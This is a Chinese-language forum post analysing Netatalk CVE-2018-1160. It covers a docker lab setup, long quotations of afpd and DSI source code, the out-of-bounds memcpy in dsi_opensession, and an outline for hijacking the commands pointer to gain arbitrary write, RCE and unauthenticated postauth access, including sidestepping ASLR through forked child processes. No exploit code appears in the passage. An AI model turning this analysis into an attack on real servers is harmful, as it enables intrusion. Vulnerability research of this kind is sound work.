[原创]Netatalk CVE-2018-1160 复现及漏洞利用思路
2023-4-6 18:39:25 Author: bbs.pediy.com(查看原文) 阅读量:14 收藏

首先需要搭建netatalk的运行环境,这里使用docker搭建Ubuntu18.04,可以在docker Ubuntu18.04中进行环境复现。这里有两种方法,一是在docker中下载源码、安装依赖环境编译,二是在本机中下载源码、依赖编译。我这里选择了比较稳妥的的第一中。

1

sudo docker run -it ubuntu:18.04 /bin/bash

1

sudo docker run -p 548:548 -it --privileged=true temp-image:latest /sbin/init

netatalk处理请求类似于Apache,对于每一个用户请求都会为其fork一个子进程处理,而父进程则监控请求的处理情况。netatalk的关键运行模块主要有两个,主模块afpd和AFP协议流量包处理模块libnetatalk。其中afpd主要功能为初始化服务的环境、监听和接受处理请求并为之构建请求处理的环境,而libnetatalk是具体解析和处理dsi流量的。

afp_start在main中被调用,通过阅读下面代码可以得知。第一个关键代码处调用了init_listening_sockets其目的是watch atp, dsi sockets and ipc parent/child file descriptor,也就是从这里开始监听APF请求了。继续往下看,我们发现了(child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))这行代码,返货了进程描述符,这意味着从这里开始已经真正开始接收和处理请求了。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

int main(int ac, char **av) {

    ...

    /* watch atp, dsi sockets and ipc parent/child file descriptor. */

    if (!(init_listening_sockets(&obj))) {

        LOG(log_error, logtype_afpd, "main: couldn't initialize socket handler");

        afp_exit(EXITERR_CONF);

    }

        ...

    while (1) {

        pthread_sigmask(SIG_UNBLOCK, &sigs, NULL);

        ret = poll(asev->fdset, asev->used, -1);

        pthread_sigmask(SIG_BLOCK, &sigs, NULL);

        saveerrno = errno;

        if (gotsigchld) {

            gotsigchld = 0;

            child_handler();

            continue;

        }

        if (reloadconfig) {

            nologin++;

            if (!(reset_listening_sockets(&obj))) {

                LOG(log_error, logtype_afpd, "main: reset socket handlers");

                afp_exit(EXITERR_CONF);

            }

            LOG(log_info, logtype_afpd, "re-reading configuration file");

            configfree(&obj, NULL);

            afp_config_free(&obj);

            if (afp_config_parse(&obj, "afpd") != 0)

                afp_exit(EXITERR_CONF);

            if (configinit(&obj) != 0) {

                LOG(log_error, logtype_afpd, "config re-read: no servers configured");

                afp_exit(EXITERR_CONF);

            }

            if (!(init_listening_sockets(&obj))) {

                LOG(log_error, logtype_afpd, "main: couldn't initialize socket handler");

                afp_exit(EXITERR_CONF);

            }

            nologin = 0;

            reloadconfig = 0;

            errno = saveerrno;

            if (server_children) {

                server_child_kill(server_children, SIGHUP);

            }

            continue;

        }

        if (ret == 0)

            continue;

        if (ret < 0) {

            if (errno == EINTR)

                continue;

            LOG(log_error, logtype_afpd, "main: can't wait for input: %s", strerror(errno));

            break;

        }

        for (int i = 0; i < asev->used; i++) {

            if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {

                switch (asev->data[i].fdtype) {

                    case LISTEN_FD:

                        // here

                        if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {

                            if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) {

                                LOG(log_error, logtype_afpd, "out of asev slots");

                                /*

* Close IPC fd here and mark it as unused

*/

                                close(child->afpch_ipc_fd);

                                child->afpch_ipc_fd = -1;

                                /*

* Being unfriendly here, but we really

* want to get rid of it. The 'child'

* handle gets cleaned up in the SIGCLD

* handler.

*/

                                kill(child->afpch_pid, SIGKILL);

                        }

                        }

                            break;

                            case IPC_FD:

                            child = (afp_child_t *)(asev->data[i].private);

                            LOG(log_debug, logtype_afpd, "main: IPC request from child[%u]", child->afpch_pid);

                            if (ipc_server_read(server_children, child->afpch_ipc_fd) != 0) {

                            if (!(asev_del_fd(asev, child->afpch_ipc_fd))) {

                            LOG(log_error, logtype_afpd, "child[%u]: no IPC fd");

                        }

                            close(child->afpch_ipc_fd);

                            child->afpch_ipc_fd = -1;

                        }

                            break;

                            default:

                            LOG(log_debug, logtype_afpd, "main: IPC request for unknown type");

                            break;

                        } /* switch */

                        /* if */

                        } /* for (i)*/

                        } /* while (1) */

                        }

我们再来看afp_start函数。首先调用了dsi_getsession,并且forked后进入afp_over_dsi处理本次请求。我们先看dsi_getsession,我们可以看到在第一个数据包中只允许我们利用DSI中的command字段访问两个Command命令或者说函数,分别是DSIGetStatusDSIOpenSession。我们查阅一下,DSIOpenSession命令的分支即dsi_opensession函数。我们看到switch语句在解析DSI session options时,DSIOPT_ATTNQUANT分支中出现了一个memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);语句,这里存在一个越界写漏洞。在进入到dsi_opensession函数之前,会隐式的调用dsi_stream_receive函数,将我们发送的DSI数据包中的Payload字段 copy to dsi->commands中。而Payload字段是可控的,用户发包时自由指定,只要服务可以解析即可。因此,我们发现payload在这里实际上解析的格式是payload[0]:code, payload[1]:size, payload[2:size -1]:data,而memcpy拷贝至的dsi->attn_quantum变量却是一个uint32类型,也就说,只要我们合理设置size和data就可以触发越界写,覆盖&dsi->attn_quantum后面的字段。我们可以往后覆盖多少个字节呢?dsi->commands是一个uint8类型的指针,也就是解析格式中size最大值为255,我们可以往后覆盖255个字节。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)

{

    afp_child_t *child = NULL;

    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {

        LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));

        return NULL;

    }

    // we've forked.

    if (child == NULL) {

        configfree(obj, dsi);

        afp_over_dsi(obj); /* start a session */

        exit (0);

    }

    return child;

}

/*!

* Start a DSI session, fork an afpd process

*

* @param childp    (w) after fork: parent return pointer to child, child returns NULL

* @returns             0 on sucess, any other value denotes failure

*/

/* DSI Commands */

int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)

{

    switch (dsi->header.dsi_command) {

        case DSIFUNC_STAT: /* send off status and return */

            {

                /* OpenTransport 1.1.2 bug workaround:

*

* OT code doesn't currently handle close sockets well. urk.

* the workaround: wait for the client to close its

* side. timeouts prevent indefinite resource use.

*/

                static struct timeval timeout = {120, 0};

                fd_set readfds;

                dsi_getstatus(dsi);

                FD_ZERO(&readfds);

                FD_SET(dsi->socket, &readfds);

                free(dsi);

                select(FD_SETSIZE, &readfds, NULL, NULL, &timeout);   

                exit(0);

            }

            break;

        case DSIFUNC_OPEN: /* setup session */

            /* set up the tickle timer */

            dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;

            dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;

            dsi_opensession(dsi);

            *childp = NULL;

            return 0;

        default: /* just close */

            LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);

            dsi->proto_close(dsi);

            exit(EXITERR_CLNT);

    }

}

/* DSI session options */

/* OpenSession. set up the connection */

void dsi_opensession(DSI *dsi)

{

  uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */

  int offs;

  if (setnonblock(dsi->socket, 1) < 0) {

      LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));

      AFP_PANIC("setnonblock error");

  }

  /* parse options */

  while (i < dsi->cmdlen) {

    switch (dsi->commands[i++]){

    case DSIOPT_ATTNQUANT: // dsi_header.dsi_data[0]:code, dsi_header.dsi_data[1]:size, dsi_header.dsi_data[2:size -1]:data

      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);  // 越界写,上层函数会执行 memcpy(dsi->commands, dsi_header->dsi_data) dsi_header是我们发包的内容

      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */

    default:

      i += dsi->commands[i] + 1; /* forward past length tag + length */

      break;

    }

  }

// ...

  dsi_send(dsi);

}

DSI结构体如下,从attn_quantum字段往后溢出,我们最多可以溢出至data数组的部分空间(data数组非常大)。比较关键的是我们可以覆盖指针dsi->commands。在后面的漏洞分析小节,我们会纤细的讨论覆盖commands指针所导致的严重后果,这将使得我们可以RCE。afp_start->dsi_getsession->dsi_opensession这条路径我们分析至此。大意的作用从两个关键函数名也可以看出来,核心就是open session,配置一些东西并开启正式的连接会话,你可以理解为TCP建立连接前的三次握手,但是在配置过程中产生了越界写漏洞。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

typedef struct DSI {

    struct DSI *next;             /* multiple listening addresses */

    AFPObj   *AFPobj;

    int      statuslen;

    char     status[1400];

    char     *signature;

    struct dsi_block        header;

    struct sockaddr_storage server, client;

    struct itimerval        timer;

    int      tickle;            /* tickle count */

    int      in_write;          /* in the middle of writing multiple packets,

                                   signal handlers can't write to the socket */

    int      msg_request;       /* pending message to the client */

    int      down_request;      /* pending SIGUSR1 down in 5 mn */

    uint32_t attn_quantum, datasize, server_quantum;

    uint16_t serverID, clientID;

    uint8_t  *commands; /* DSI recieve buffer */ //

    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */

    size_t   datalen, cmdlen;

    off_t    read_count, write_count;

    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */

    int      socket;            /* AFP session socket */

    int      serversock;        /* listening socket */

    /* DSI readahead buffer used for buffered reads in dsi_peek */

    size_t   dsireadbuf;        /* size of the DSI readahead buffer used in dsi_peek() */

    char     *buffer;           /* buffer start */

    char     *start;            /* current buffer head */

    char     *eof;              /* end of currently used buffer */

    char     *end;

    char *bonjourname;      /* server name as UTF8 maxlen MAXINSTANCENAMELEN */

    int zeroconf_registered;

    /* protocol specific open/close, send/receive

     * send/receive fill in the header and use dsi->commands.

     * write/read just write/read data */

    pid_t  (*proto_open)(struct DSI *);

    void   (*proto_close)(struct DSI *);

} DSI;

我们再继续从afp_start->afp_over_dsi开始看。afp_over_dsi处理正式连接的请求核心再这个while循环。首先第一行重要代码cmd = dsi_stream_receive(dsi);Blocking read on the network socket,即阻塞地从socket连接中读取dsi steam,即会解析dsi流量填充dsi结构体,也就是反序列化dsi流量。我们进入快速阅读一下dsi_stream_receive函数,注意我们关注的是该函数如何从socket中读取数据填充dsi结构体。我们可以明显的发现block变量即是DSI Header,将block copy to dsi.header中。而其中关键的数据包的body也即payload或者说dsi data是同过一行if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)从dsi结构体的buffer中读取到dsi->commands指针指向的内存中,最后其返回值返回block[1],也就是我们下图1中给出的DSI Header结构中的Command字段。至此我们了解该函数是如何把DSI流量数据填充进 dsi structure。

我们继续回到afp_over_dsi的while循环中。再dsi_stream_receive函数返回时,其返回值同时也是本次请求的Command字段,该返回值进入Switch语句执行对应的command命令,而我们着重关注最核心的case DSIFUNC_CMD分支。这个分支的作用简而言之,就是根据我们DSI数据流中的Payload字段的数据,执行AFP回调函数。我们可以发现核心的afp_switch变量,通过全局搜索afp_switch =可以发现两处赋值(如图2所示)。通过变量名和两张回调函数表的内容,可以猜测,一个是未登入或未授权时走preauth_switch,一个是登入成功或授权时走postauth_switch

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

void afp_over_dsi(AFPObj *obj)

{

    DSI *dsi = (DSI *) obj->dsi;

    // ...

     while (1) {

        if (sigsetjmp(recon_jmp, 1) != 0)

            /* returning from SIGALARM handler for a primary reconnect */

            continue;

        /* Blocking read on the network socket */

        cmd = dsi_stream_receive(dsi);

        if (cmd == 0) {

            /* cmd == 0 is the error condition */

            if (dsi->flags & DSI_RECONSOCKET) {

                /* we just got a reconnect so we immediately try again to receive on the new fd */

                dsi->flags &= ~DSI_RECONSOCKET;

                continue;

            }

            /* the client sometimes logs out (afp_logout) but doesn't close the DSI session */

            if (dsi->flags & DSI_AFP_LOGGED_OUT) {

                LOG(log_note, logtype_afpd, "afp_over_dsi: client logged out, terminating DSI session");

                afp_dsi_close(obj);

                exit(0);

            }

            if (dsi->flags & DSI_RECONINPROG) {

                LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");

                afp_dsi_close(obj);

                exit(0);

            }

            /* Some error on the client connection, enter disconnected state */

            if (dsi_disconnect(dsi) != 0)

                afp_dsi_die(EXITERR_CLNT);

            ipc_child_state(obj, DSI_DISCONNECTED);

            while (dsi->flags & DSI_DISCONNECTED)

                pause(); /* gets interrupted by SIGALARM or SIGURG tickle */

            ipc_child_state(obj, DSI_RUNNING);

            continue; /* continue receiving until disconnect timer expires

                       * or a primary reconnect succeeds  */

        }

        if (!(dsi->flags & DSI_EXTSLEEP) && (dsi->flags & DSI_SLEEPING)) {

            LOG(log_debug, logtype_afpd, "afp_over_dsi: got data, ending normal sleep");

            dsi->flags &= ~DSI_SLEEPING;

            dsi->tickle = 0;

            ipc_child_state(obj, DSI_RUNNING);

        }

        if (reload_request) {

            reload_request = 0;

            load_volumes(AFPobj, LV_FORCE);

        }

        /* The first SIGINT enables debugging, the next restores the config */

        if (debug_request) {

            static int debugging = 0;

            debug_request = 0;

            dircache_dump();

            uuidcache_dump();

            if (debugging) {

                if (obj->options.logconfig)

                    setuplog(obj->options.logconfig, obj->options.logfile);

                else

                    setuplog("default:note", NULL);

                debugging = 0;

            } else {

                char logstr[50];

                debugging = 1;

                sprintf(logstr, "/tmp/afpd.%u.XXXXXX", getpid());

                setuplog("default:maxdebug", logstr);

            }

        }

        dsi->flags |= DSI_DATA;

        dsi->tickle = 0;

        switch(cmd) {

        case DSIFUNC_CLOSE:

            LOG(log_debug, logtype_afpd, "DSI: close session request");

            afp_dsi_close(obj);

            LOG(log_note, logtype_afpd, "done");

            exit(0);

        case DSIFUNC_TICKLE:

            dsi->flags &= ~DSI_DATA; /* thats no data in the sense we use it in alarm_handler */

            LOG(log_debug, logtype_afpd, "DSI: client tickle");

            /* timer is not every 30 seconds anymore, so we don't get killed on the client side. */

            if ((dsi->flags & DSI_DIE))

                dsi_tickle(dsi);

            break;

        case DSIFUNC_CMD:

            if ( writtenfork ) {

                if ( flushfork( writtenfork ) < 0 ) {

                    LOG(log_error, logtype_afpd, "main flushfork: %s", strerror(errno) );

                }

                writtenfork = NULL;

            }

            function = (u_char) dsi->commands[0];

            /* AFP replay cache */

            rc_idx = dsi->clientID % REPLAYCACHE_SIZE;

            LOG(log_debug, logtype_dsi, "DSI request ID: %u", dsi->clientID);

            if (replaycache[rc_idx].DSIreqID == dsi->clientID

                && replaycache[rc_idx].AFPcommand == function) {

                LOG(log_note, logtype_afpd, "AFP Replay Cache match: id: %u / cmd: %s",

                    dsi->clientID, AfpNum2name(function));

                err = replaycache[rc_idx].result;

            /* AFP replay cache end */

            } else {

                /* send off an afp command. in a couple cases, we take advantage

                 * of the fact that we're a stream-based protocol. */

                if (afp_switch[function]) {

                    dsi->datalen = DSI_DATASIZ;

                    dsi->flags |= DSI_RUNNING;

                    LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));

                    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));

                    err = (*afp_switch[function])(obj,

                                                  (char *)dsi->commands, dsi->cmdlen,

                                                  (char *)&dsi->data, &dsi->datalen);

                    AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function));

                    LOG(log_debug, logtype_afpd, "==> Finished AFP command: %s -> %s",

                        AfpNum2name(function), AfpErr2name(err));

                    dir_free_invalid_q();

                    dsi->flags &= ~DSI_RUNNING;

                    /* Add result to the AFP replay cache */

                    replaycache[rc_idx].DSIreqID = dsi->clientID;

                    replaycache[rc_idx].AFPcommand = function;

                    replaycache[rc_idx].result = err;

                } else {

                    LOG(log_maxdebug, logtype_afpd, "bad function %X", function);

                    dsi->datalen = 0;

                    err = AFPERR_NOOP;

                }

            }

            /* single shot toggle that gets set by dsi_readinit. */

            if (dsi->flags & DSI_NOREPLY) {

                dsi->flags &= ~DSI_NOREPLY;

                break;

            } else if (!dsi_cmdreply(dsi, err)) {

                LOG(log_error, logtype_afpd, "dsi_cmdreply(%d): %s", dsi->socket, strerror(errno) );

                if (dsi_disconnect(dsi) != 0)

                    afp_dsi_die(EXITERR_CLNT);

            }

            break;

        case DSIFUNC_WRITE: /* FPWrite and FPAddIcon */

            function = (u_char) dsi->commands[0];

            if ( afp_switch[ function ] != NULL ) {

                dsi->datalen = DSI_DATASIZ;

                dsi->flags |= DSI_RUNNING;

                LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));

                AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));

                err = (*afp_switch[function])(obj,

                                              (char *)dsi->commands, dsi->cmdlen,

                                              (char *)&dsi->data, &dsi->datalen);

                AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function));

                LOG(log_debug, logtype_afpd, "==> Finished AFP command: %s -> %s",

                    AfpNum2name(function), AfpErr2name(err));

                dsi->flags &= ~DSI_RUNNING;

            } else {

                LOG(log_error, logtype_afpd, "(write) bad function %x", function);

                dsi->datalen = 0;

                err = AFPERR_NOOP;

            }

            if (!dsi_wrtreply(dsi, err)) {

                LOG(log_error, logtype_afpd, "dsi_wrtreply: %s", strerror(errno) );

                if (dsi_disconnect(dsi) != 0)

                    afp_dsi_die(EXITERR_CLNT);

            }

            break;

        case DSIFUNC_ATTN: /* attention replies */

            break;

            /* error. this usually implies a mismatch of some kind

             * between server and client. if things are correct,

             * we need to flush the rest of the packet if necessary. */

        default:

            LOG(log_info, logtype_afpd,"afp_dsi: spurious command %d", cmd);

            dsi_writeinit(dsi, dsi->data, DSI_DATASIZ);

            dsi_writeflush(dsi);

            break;

        }

        pending_request(dsi);

        fce_pending_events(obj);

    }

}

/*!

 * Read DSI command and data

 *

 * @param  dsi   (rw) DSI handle

 *

 * @return    DSI function on success, 0 on failure

 */

int dsi_stream_receive(DSI *dsi)

{

  char block[DSI_BLOCKSIZ];

  LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

  if (dsi->flags & DSI_DISCONNECTED)

      return 0;

  /* read in the header */

  if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))

    return 0;

  dsi->header.dsi_flags = block[0];

  dsi->header.dsi_command = block[1];

  if (dsi->header.dsi_command == 0)

      return 0;

  memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));

  memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));

  dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);

  memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

  memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));

  dsi->clientID = ntohs(dsi->header.dsi_requestID);

  /* make sure we don't over-write our buffers. */

  dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

  /* Receiving DSIWrite data is done in AFP function, not here */

  if (dsi->header.dsi_data.dsi_doff) {

      LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");

      dsi->cmdlen = dsi->header.dsi_data.dsi_doff;

  }

  // TCP fork dsi

  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)

    return 0;

  LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

  return block[1];

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

static AFPCmd preauth_switch[] = {

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*   0 -   7 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*   8 -  15 */

    NULL, NULL, afp_login, afp_logincont,

    afp_logout, NULL, NULL, NULL,                /*  16 -  23 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*  24 -  31 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*  32 -  39 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*  40 -  47 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*  48 -  55 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, afp_login_ext,                /*  56 -  63 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*  64 -  71 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*  72 -  79 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*  80 -  87 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*  88 -  95 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*  96 - 103 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 104 - 111 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 112 - 119 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 120 - 127 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 128 - 135 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 136 - 143 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 144 - 151 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 152 - 159 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 160 - 167 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 168 - 175 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 176 - 183 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 184 - 191 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 192 - 199 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 200 - 207 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 208 - 215 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 216 - 223 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 224 - 231 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 232 - 239 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 240 - 247 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 248 - 255 */

};

AFPCmd *afp_switch = preauth_switch;

AFPCmd postauth_switch[] = {

    NULL, afp_bytelock, afp_closevol, afp_closedir,

    afp_closefork, afp_copyfile, afp_createdir, afp_createfile,    /*   0 -   7 */

    afp_delete, afp_enumerate, afp_flush, afp_flushfork,

    afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,    /*   8 -  15 */

    afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,

    afp_logout, afp_mapid, afp_mapname, afp_moveandrename,    /*  16 -  23 */

    afp_openvol, afp_opendir, afp_openfork, afp_read,

    afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,

    /*  24 -  31 */

    afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,

    afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /*  32 -  39 */

    afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,

    afp_null, afp_null, afp_null, afp_null,            /*  40 -  47 */

    afp_opendt, afp_closedt, afp_null, afp_geticon,

    afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,    /*  48 -  55 */

    afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,

    NULL, NULL, NULL, NULL,                    /*  56 -  63 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*  64 -  71 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, afp_syncdir, afp_syncfork,    /*  72 -  79 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*  80 -  87 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /*  88 -  95 */

    NULL, NULL, NULL, NULL,

    afp_getdiracl, afp_setdiracl, afp_afschangepw, NULL,    /*  96 - 103 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 104 - 111 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 112 - 119 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 120 - 127 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 128 - 135 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 136 - 143 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 144 - 151 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 152 - 159 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 160 - 167 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 168 - 175 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 176 - 183 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 184 - 191 */

    afp_addicon, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 192 - 199 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 200 - 207 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 208 - 215 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 216 - 223 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 224 - 231 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 232 - 239 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 240 - 247 */

    NULL, NULL, NULL, NULL,

    NULL, NULL, NULL, NULL,                    /* 248 - 255 */

};

bingo,我们已经将两条主线分析完毕,也从中点出了漏洞点以及可能的利用方式,那么我们这一小节将根据我们的代码分析、漏洞点分析,讨论可能的利用思路和方式。具体的,我们会讨论越界写漏洞导致潜在任意地址写如何得以实现,即将潜在的变为真正的;我们将讨论任意地址写得以实现后,将详细分析如何RCE,简单的提一下如何进行未授权访问postauth_switch中的函数。

我们可以在第一次发送DSI数据包时,触发越界写,劫持commands指针,那么我们如何得以让commands指针写入我们希望的地址呢?在未开启ASLR时,这并不难,但现在我们开启了ASLR,我们没办法确定任意一个模块的base adress。这时我们不妨先,先看一看内存布局。尽管程序开启了ASLR,但是我们每次处理我们连接的是fork出来的子进程,而子进程的虚拟进程空间的内存布局与父进程是一致的,也就是说每次fork出来的子进程其地址在父进程生命周期内都是固定的。

